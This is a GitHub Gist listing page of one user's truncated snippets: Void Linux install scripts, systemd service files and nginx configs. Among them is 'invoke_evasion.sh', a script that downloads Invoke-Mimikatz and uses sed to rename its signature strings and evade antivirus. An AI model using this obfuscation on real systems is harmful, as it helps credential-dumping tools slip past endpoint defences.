Skip to content

Instantly share code, notes, and snippets.

@misuchiru03
misuchiru03 / vmware-void-fix
Last active July 13, 2023 08:17
Fix for vmware installs on voidlinux runit and vmmon module
#!/bin/bash
# must run as root
if [ $UID != 0 ]; then
echo "You must be root."
exit 0
fi
# soft link vmware's init.d scripts to void's runit directory
ln -s /etc/init.d/vmware* /etc/runit/
@misuchiru03
misuchiru03 / msfvupdate
Last active February 1, 2021 06:09 — forked from abenson/msfvupdate
Short script to install/update Metasploit on Void Linux
#!/bin/sh
# root check
if [ `id -u` != "0" ]; then
echo "This should be run as root."
exit
fi
# Dependency check for curl and rsync
missing=0
@misuchiru03
misuchiru03 / plex-install.sh
Last active May 1, 2020 17:04
Plex Media Server installer for Void Linux
#!/bin/sh
if [ $(id -u) -ne 0 ]; then
echo "You must be root to run this."
exit 0
fi
missing=0
for pkg in wget curl rsync ar; do
echo -n "Checking for $pkg..."
@misuchiru03
misuchiru03 / minecraft-server.service
Created July 8, 2019 19:16
Minecraft Server Systemd Service
[Unit]
Description=Minecraft Server
Wants=network.target
After=network.target
[Service]
User=minecraft
Group=minecraft
Nice=5
WorkingDirectory=/usr/local/games/minecraft
@misuchiru03
misuchiru03 / ts3server.service
Created July 8, 2019 19:14
Teamspeak 3 Server Systemd Service
[Unit]
Description=Teamspeak 3 Server
Documentation=http://www.teamspeak.com/?page=literature
Wants=network.target
[Service]
WorkingDirectory=/opt/ts3server/
User=teamspeak
Group=teamspeak
ExecStart=/opt/ts3server/ts3server_startscript.sh start
@misuchiru03
misuchiru03 / www
Last active April 29, 2019 04:01
Nginx web server standard web setup with static files, html, and php, with simple http auth support
server {
listen 443 ssl;
error_page 497 https://$server_name:$server_port$request_uri;
server_name www.domain.org;
error_log /var/log/nginx/www.error.log;
root /var/www/html/domain.org;
# Enable php support (must have php-fpm php-cli php-mysql php-gd php-imagick php-recode php-tidy php-xmlrpc installed for full support)
location ~* \.php$ {
fastcgi_pass unix:/run/php/php7.2-fpm.sock;
@misuchiru03
misuchiru03 / reverse-proxy
Last active April 29, 2019 03:54
Nginx Reverse Proxy with Plex and Deluge subdomains
# Plex Server
upstream plex.domain.org {
server 127.0.0.1:32400;
keepalive 32;
}
server {
listen 443;
@misuchiru03
misuchiru03 / adobereader.sh
Last active March 30, 2019 18:02
Adobe Reader installer for Void Linux
#!/bin/sh
# check if root
if [ $UID != 0 ]; then
echo "You need to be root to run this"
exit 0
fi
tmpdir=/tmp/Adobe
@misuchiru03
misuchiru03 / invoke_evasion.sh
Created March 14, 2019 21:00 — forked from PaulSec/invoke_evasion.sh
Small script to bypass AV that triggers Invoke-Mimikatz with shitty rules
# AV Bypass to run Mimikatz
# From: https://www.blackhillsinfosec.com/?p=5555
# Server side:
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1
sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1
sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1
sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1
sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-Mimikatz.ps1
@misuchiru03
misuchiru03 / glib2-check
Created November 26, 2018 02:46
Moloch check for glib2
# Check whether --with-glib2 was given.
if test "${with_glib2+set}" = set; then :
withval=$with_glib2; case "$withval" in
yes|no)
{ $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
$as_echo "no" >&6; }
;;
*)
{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $withval" >&5
$as_echo "$withval" >&6; }